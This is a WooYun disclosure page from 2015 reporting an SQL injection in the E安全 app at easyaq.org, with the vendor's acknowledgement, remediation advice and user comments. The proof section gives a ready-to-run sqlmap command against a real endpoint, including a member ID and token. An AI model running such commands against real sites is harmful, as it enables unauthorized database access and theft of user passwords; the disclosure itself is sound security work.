当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144984

漏洞标题：E安全APP存在SQL注入漏洞可读取用户密码等

相关厂商：easyaq.org

漏洞作者： 刘大硕

提交时间：2015-10-08 12:57

修复时间：2015-11-22 13:04

公开时间：2015-11-22 13:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-08： 细节已通知厂商并且等待厂商处理中
2015-10-08： 厂商已经确认，细节仅向厂商公开
2015-10-18： 细节向核心白帽子及相关领域专家公开
2015-10-28： 细节向普通白帽子公开
2015-11-07： 细节向实习白帽子公开
2015-11-22： 细节向公众公开

简要描述：

E安全APP 在POST数据未进行传参过滤，导致存在SQL注入漏洞。权限ROOT

详细说明：

E安全APP 在POST数据未进行传参过滤，导致存在SQL注入漏洞。权限ROOT

漏洞证明：

sqlmap.py -u "http://www.easyaq.org/video/myVideoList?videotypeid=0&coursename=&limit=20&newUpdateTime=0&oldUpdateTime=0&memberId=a551a5b9-dd8e-4906-ab92-37a4a51f86cc&token=b090e31e2bafac3689616d53f0efcd941ba88e5dc4097ef2a5aeb5a5438d864c&type=1&version=2.3.1" --dbs --level 3


sql1.png


sql2.png


sql3.png


members.png

修复方案：

方法一：运用存储过程，存储过程对传入的参数要进行类型匹配,不合法的参数是不被执行的，传入参数个数的匹配。CallableStatement 调用；
方法二：使用参数化查询；
方法三：使用正则表达式；
方法四：字符串过滤；
方法五：不安全字符屏蔽。

版权声明：转载请注明来源 刘大硕@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-10-08 13:03

厂商回复：

谢谢刘兄国庆假期侠义出手帮助E安全发现了不足之处，我们6日下午获知此漏洞后已安排研发工程师进行整改，并准备发布新的版本，届时如果您还有时间还请帮忙再看看有没有新的漏洞。再次感谢刘兄的鞭策，这是我们的大辛事。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-10-06 15:05 | 背影 ( 路人 | Rank:25 漏洞数:4 )

    @猪哥靓

  2. 2015-10-07 12:59 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    厂商转给安恒就好了嘛 @疯狗

  3. 2015-10-07 15:14 | 小龙 ( 普通白帽子 | Rank:1284 漏洞数:327 | 乌云有着这么一群人，在乌云学技术，去某数...)

    是登录处吗

  4. 2015-10-08 10:07 | 随风的风 ( 普通白帽子 | Rank:157 漏洞数:53 | 微信公众号：233sec 不定期分享各种漏洞思...)

    应该是登录处吧？

  5. 2015-10-08 10:10 | sql小神 ( 路人 | Rank:19 漏洞数:4 | 有些漏洞可以提，有些漏洞不可以提。)

    诸葛亮怎么办？会不会受到批评？

  6. 2015-10-08 13:15 | xsser 认证白帽子 ( 普通白帽子 | Rank:259 漏洞数:19 | 当我又回首一切,这个世界会好吗?)

    大辛事

  7. 2015-10-08 13:16 | 暖暖 ( 路人 | Rank:15 漏洞数:5 | 高三猫)

    厂商好评

  8. 2015-10-08 13:18 | 猪哥靓 ( 普通白帽子 | Rank:414 漏洞数:51 | 他们又懂我在想什么吗？我又懂他们在想什么...)

    @sql小神 今天猪飞了，肉没了。晚上开始吃素了

  9. 2015-10-08 13:21 | yeweit6 ( 实习白帽子 | Rank:32 漏洞数:7 | 豫章故郡，洪都新府。星分翼轸，地接衡庐。...)

    好事，减肥了

  10. 2015-10-08 14:52 | sql小神 ( 路人 | Rank:19 漏洞数:4 | 有些漏洞可以提，有些漏洞不可以提。)

    @猪哥靓 没事吧，没有核心业务，怕什么，就是一些视频，难道不是？

  11. 2015-10-08 19:38 | 猪哥靓 ( 普通白帽子 | Rank:414 漏洞数:51 | 他们又懂我在想什么吗？我又懂他们在想什么...)

    @sql小神 是的，95%都是第三方QQ，微博之类登录的。安全无小事，值得我们面壁反思与改进！